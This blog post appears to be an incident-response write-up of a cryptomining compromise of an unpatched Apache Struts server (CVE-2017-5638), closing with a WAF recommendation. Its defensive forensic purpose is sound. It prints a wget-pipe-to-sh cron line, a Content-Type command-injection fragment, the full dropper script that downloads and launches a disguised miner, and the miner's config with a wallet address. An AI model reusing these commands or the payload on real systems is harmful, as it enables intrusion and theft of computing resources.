Wake up call. Apache Struts is being exploited


Full article


It's a tale of incident response for a vulnerability dated March 2017, that wasn't patched on the server. And, someone exploited it naively.

It was in the night that I received a message - "We have been hacked". As with most of the hacks, people tend to overreact (or sometimes under) and the 1st message delivers the least amount of information. It started a chain of events, and forensics to identify what happened, and how?

Around 23:00h there was a trigger that some packet was knocking on the firewall port to go out of the internal network. Otherwise put, egress traffic alert from the production network. Usually such traffic comes from updates, or if the server is planning to call any other component outside; but, all of this should have been whitelisted to avoid false-positives. So, what is this machine that is trying to connect outside and why?

What's the trigger?

After a quick IP check, it turned out a web server running apache and some application was trying to connect to an unknown IP address on an unknown port. To dig deeper, it was time to run some process monitoring on the machine and figure out which process is trying to access the outside world and for what reasons? It was a linux box, so after running some quick ps commands, and traffic dumps, it was clear that something was trying to execute wget -O - -q http://xx.xx.xx.xx/icons/logo.jpg|sh (IP hidden for security reasons)

Find the process

Now, this was the command that trigerred an alert on the firewall, but how did this command landed on the server? Is it an internal attack? Did someone inject it? Checking the details of the process (ps -ef) showed jboss running it as */20 * * * * wget ... which means a cron job. Now, how did this end up as a cron job in this server? It was time to check the audit logs as well as the access logs of the server and contact the application team. It turned out that 2 regular cron jobs were replaced by these unknown cron jobs. And yes there were 2 unknown cron jobs with the same purpose - one with wget and other with curl.

Who attacked? Insider or External?

With the knowledge of the cron jobs, and payload it was important to find out if it was an inside job, or have we been breached? On checking the access logs one could identify strange & long HTTP headers namely Content-Type. The field contained a multipart/form-data with bash commands; something like (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." where there were actual bash commands. Okay, so it was possibly an external exploit targeting the webserver.

Is it new? Or, why the attack worked?

With a little check on the version in production, and advisory it was clear that someone executed a bash command in scope of the server process, and included these CRON jobs in the machine. The attack worked because the application team was running an old version which was vulnerable to CVE: 2017-5638. It was the old patching error! Ideally it was resolved, and application team was asked to patch (setup a new box, deploying the clean application etc. to make sure no traces of exploit) and business resumed as usual. And, **to confirm,

It was not a breach, or information leak, or anything that raises a red flag. New machine initiated, patches applied and clean application installed and running. All safe, and all done.

Down the rabbit hole

Now, while the debacle was solved but what was hidden behind the IP and the script it was trying to execute. So, let's dig there and understand the intend,

Command: wget -O - -q http://xx.xx.xx.xx/icons/logo.jpg downloads a bash script with the following contents,

rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf http://xx.xx.xx.xx/icons/kworker.conf
wget -O /var/tmp/xxtyligbex.conf http://xx.xx.xx.xx/icons/kworker.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
curl -o /var/tmp/sshd http://xx.xx.xx.xx/icons/kworker
wget -O /var/tmp/sshd http://xx.xx.xx.xx/icons/kworker
curl -o /var/tmp/sshd http://xx.xx.xx.xx/icons/kworker_na
wget -O /var/tmp/sshd http://xx.xx.xx.xx/icons/kworker_na
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
echo "runing....."

There were multiple downloads in this script: /icons/kworker.conf; (/icons/kworker or /icons/kworker_na depending on whether CPU supports AES). While the kworker(na) were software; the configuration file had the following information,

    "url" : "stratum+tcp://aa.aa.aa.aa:80",
    "user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true

On further investigation on the software, the script checking for CPU cores, and support; and this configuration file it was confirmed that the attacker was trying to mine coins using the server computing power.

  1. Downloads and executes the bash script.
  2. Checks whether the server has been exploited before by validating the presence of configuration and temporary files.
  3. Downloads the mining software depending on the CPU support.
  4. Downloads the configuration file and to pass to the software.
  5. Checks the number of processors, CPU Info and calculates cores to use.
  6. Executes and mines.

IP Details pointed to Regionalnaya Kompaniya Svyazi Ltd @ Russia. And, within few hours of this incident, the script and server was taken offline,

  • xx.xx.xx.xx:
  • aa.aa.aa.aa:
What could have been done better?

Needless to say that patching is important, and security industry can't stress enough how important is to keep your application, server and operating systems patched. But, apart from that as a quick workaround, a WAF could have saved the day with much ease. A single rule to check Content-Type with anything bash/ command looking could have averted the Phase 1 of this attack.

I understand often due to version issues & compatibility, legacy applications fail to run on updated (new) machines, but here's the ROI of WAF. A rule or ACL on WAF can protect you while your systems remain unpatched. It's not a practice or something that I will like to evegelize, but given the circumstances it does the work and buys enough time to test and patch. WAF bridges the gap and works as an active defense till the systems are all patched!